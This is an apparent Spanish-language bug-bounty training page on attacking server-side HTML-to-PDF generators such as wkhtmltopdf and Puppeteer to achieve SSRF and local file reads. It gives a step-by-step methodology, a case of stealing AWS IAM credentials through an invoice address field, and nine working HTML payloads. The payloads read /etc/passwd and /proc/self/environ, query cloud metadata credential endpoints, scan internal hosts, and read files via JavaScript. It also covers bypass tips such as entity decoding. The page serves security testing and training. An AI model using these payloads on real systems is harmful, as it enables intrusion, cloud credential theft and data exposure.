Nuevos labs cada semana — Accede a todos desde 5€/mes

HTML to PDF

SSRF y LFI vía generadores de PDF server-side

Respuesta rápida

¿Qué es HTML to PDF?

Las aplicaciones que generan PDFs desde HTML usan motores como wkhtmltopdf, Puppeteer o WeasyPrint que actúan como browsers internos. Esto abre vectores de SSRF, LFI y lectura de archivos internos.

Severidad

Alto

Frecuencia

Común

Payloads

9

Pasos

6

Severidad

Alto

Frecuencia

Común

Payloads

9

Cuando una app convierte HTML a PDF (facturas, reportes, exports), el motor renderiza HTML y hace fetch de recursos externos. Si el contenido HTML viene del usuario (campos de formulario, nombres, direcciones), se pueden inyectar iframes y links que el motor seguirá.

SSRF a servicios internosLectura de archivos locales (LFI)Credenciales cloud (AWS/GCP)Escaneo de red internaRCE vía chains

Dónde buscar

Export de facturas/recibos

La funcionalidad más común. Los campos del usuario (nombre, dirección) se insertan en el HTML del PDF.

Generación de reportes

Dashboards con 'Download as PDF'. El contenido del dashboard se renderiza en HTML.

Contratos y acuerdos

Generación de documentos legales con datos del usuario insertados.

Funcionalidad de impresión

Botones de 'Print' que generan una versión PDF de la página actual.

Metodología

1

Identificar generación de PDF

Busca botones de 'Download PDF', 'Export', 'Print'. Intercepta el request y analiza si envía HTML.

2

Inyectar HTML

En campos que aparecen en el PDF (nombre, dirección, descripción), inyecta: <iframe src='http://127.0.0.1'>

3

Probar file://

Inyecta <iframe src='file:///etc/passwd'>. Si el PDF muestra el contenido, tienes LFI.

4

Probar SSRF a metadatos cloud

<iframe src='http://169.254.169.254/latest/meta-data/'> para leer credenciales AWS.

5

Identificar el motor

Revisa los metadatos del PDF (exiftool). wkhtmltopdf, Puppeteer, PhantomJS tienen comportamientos diferentes.

6

Escalar

De LFI: leer .env, database config, claves privadas. De SSRF: credenciales IAM → acceso a infraestructura cloud.

Caso real

SSRF vía factura PDF → Credenciales AWS IAM

$2,500
1

Inyectar en campo de dirección

El campo 'billing address' aparece en la factura PDF. Se inyecta un iframe con src a los metadatos de AWS.

2

HTML entities bypass

El campo se escapa en el frontend (&lt;), pero el generador de PDF decodifica las entities al renderizar HTML.

3

PDF con metadatos AWS

El PDF generado contiene los metadatos de la instancia EC2: IAM role, security credentials temporales.

4

Acceso a AWS

Con las credenciales IAM temporales, acceso a S3 buckets, RDS databases y otros servicios.

Lección: Los generadores de PDF son browsers internos sin restricciones de Same-Origin. Cualquier campo que aparezca en un PDF es un vector potencial de SSRF/LFI.

Payloads

LFI — /etc/passwd

<iframe src="file:///etc/passwd" width="800" height="500"></iframe>

SSRF — localhost

<img src="http://127.0.0.1:8080/">

SSRF — AWS metadata

<iframe src="http://169.254.169.254/latest/meta-data/">

CSS import SSRF

<link rel="stylesheet" href="http://internal-server:3000/">

Payloads avanzados(requiere cuenta)

AWS IAM credentials

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="500">

Proc environ

<iframe src="file:///proc/self/environ">

Internal network scan

<img src="http://10.0.0.1:8443/admin"><img src="http://10.0.0.1:9200/"><img src="http://10.0.0.1:6379/">

Windows files

<iframe src="file:///C:/Windows/win.ini"><iframe src="file:///C:/Windows/System32/drivers/etc/hosts">

JavaScript exfil

<script>x=new XMLHttpRequest;x.open("GET","file:///etc/passwd");x.send();x.onload=function(){document.write(x.responseText)}</script>

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

exiftool

Identifica el motor de PDF (wkhtmltopdf, Puppeteer, WeasyPrint) en los metadatos.

exiftool document.pdf | grep -i producer

Burp Collaborator

Confirma SSRF outbound desde el generador de PDF.

Inyectar <img src='http://COLLABORATOR_URL'> en campos del PDF

Tips

Los campos de dirección son el mejor vector

Nombre, dirección de facturación, descripción de producto — cualquier campo que aparezca en el PDF.

HTML entities se decodifican

El campo se escapa en el frontend pero el motor de PDF decodifica &lt; → < al renderizar.

wkhtmltopdf permite file://

wkhtmltopdf es el motor más permisivo. Permite file://, JavaScript, y requests a cualquier host.

Puppeteer más restrictivo

Puppeteer bloquea file:// por defecto, pero no SSRF a localhost o metadatos cloud.

Practica HTML to PDF con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.